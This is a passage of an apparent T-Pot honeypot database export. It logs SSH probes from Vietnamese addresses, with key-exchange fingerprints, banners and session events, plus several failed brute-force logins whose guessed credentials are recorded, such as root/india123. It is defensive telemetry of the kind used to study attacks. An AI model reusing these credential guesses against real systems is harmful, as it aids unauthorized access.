"ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35420, "dest_port": 22, "timestamp": "2021-09-20T11:08:49.192828", "@timestamp": "2021-09-20T11:08:49.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24444	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:51.353213+03	2021-09-20 14:15:08.800499+03	{"_id": "EgbkAnwBvYTbRNuE9xQB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44274, "dest_port": 22, "timestamp": "2021-09-20T11:08:51.353213", "@timestamp": "2021-09-20T11:08:51.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24445	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:51.368418+03	2021-09-20 14:15:08.8015+03	{"_id": "GAbkAnwBvYTbRNuE9xSe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [newadmin/newadmin] failed", "session": "4120b0ae7e72", "@version": "1", "password": "newadmin", "username": "newadmin", "timestamp": "2021-09-20T11:08:51.368418Z", "@timestamp": "2021-09-20T11:08:51.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24456	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:52.514776+03	2021-09-20 14:15:08.817469+03	{"_id": "MwbkAnwBvYTbRNuE-xSM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bd8bbe1900cb", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:52.514776Z", "@timestamp": "2021-09-20T11:08:52.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24446	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:51.371576+03	2021-09-20 14:15:08.802502+03	{"_id": "GQbkAnwBvYTbRNuE9xSe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "287db2103534", "@version": "1", "timestamp": "2021-09-20T11:08:51.371576Z", "@timestamp": "2021-09-20T11:08:51.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24447	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:51.470075+03	2021-09-20 14:15:08.804499+03	{"_id": "GgbkAnwBvYTbRNuE9xSe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "92f2891da160", "@version": "1", "duration": 2.712930679321289, "timestamp": "2021-09-20T11:08:51.470075Z", "@timestamp": "2021-09-20T11:08:51.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24448	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:51.726946+03	2021-09-20 14:15:08.805507+03	{"_id": "GwbkAnwBvYTbRNuE9xSe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/india123] failed", "session": "dcaf49ffb6d6", "@version": "1", "password": "india123", "username": "root", "timestamp": "2021-09-20T11:08:51.726946Z", "@timestamp": "2021-09-20T11:08:51.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24449	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:52.159108+03	2021-09-20 14:15:08.8065+03	{"_id": "HAbkAnwBvYTbRNuE9xSe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [jill/jill] failed", "session": "e1a1f37f01e3", "@version": "1", "password": "jill", "username": "jill", "timestamp": "2021-09-20T11:08:52.159108Z", "@timestamp": "2021-09-20T11:08:52.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24450	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:53.000593+03	2021-09-20 14:15:08.80847+03	{"_id": "HQbkAnwBvYTbRNuE-RT3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 299333111302685, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43672, "dest_port": 22, "timestamp": "2021-09-20T11:08:53.000593Z", "@timestamp": "2021-09-20T11:08:53.000Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24457	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:52.563587+03	2021-09-20 14:15:08.818469+03	{"_id": "NAbkAnwBvYTbRNuE-xSM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "b09f9b09a3bd", "@version": "1", "duration": 3.6478562355041504, "timestamp": "2021-09-20T11:08:52.563587Z", "@timestamp": "2021-09-20T11:08:52.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24451	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:08:52.637332+03	2021-09-20 14:15:08.8095+03	{"_id": "HwbkAnwBvYTbRNuE-RT3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1986192253665533, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner", "is_ssh_server_kex"]}, "src_port": 49906, "dest_port": 22, "timestamp": "2021-09-20T11:08:52.637332Z", "@timestamp": "2021-09-20T11:08:52.637Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24452	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:52.761516+03	2021-09-20 14:15:08.811504+03	{"_id": "IQbkAnwBvYTbRNuE-hTr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41524, "timestamp": "2021-09-20T11:08:52.761516", "@timestamp": "2021-09-20T11:08:52.761Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24453	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:53.05361+03	2021-09-20 14:15:08.81247+03	{"_id": "JQbkAnwBvYTbRNuE-hTr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 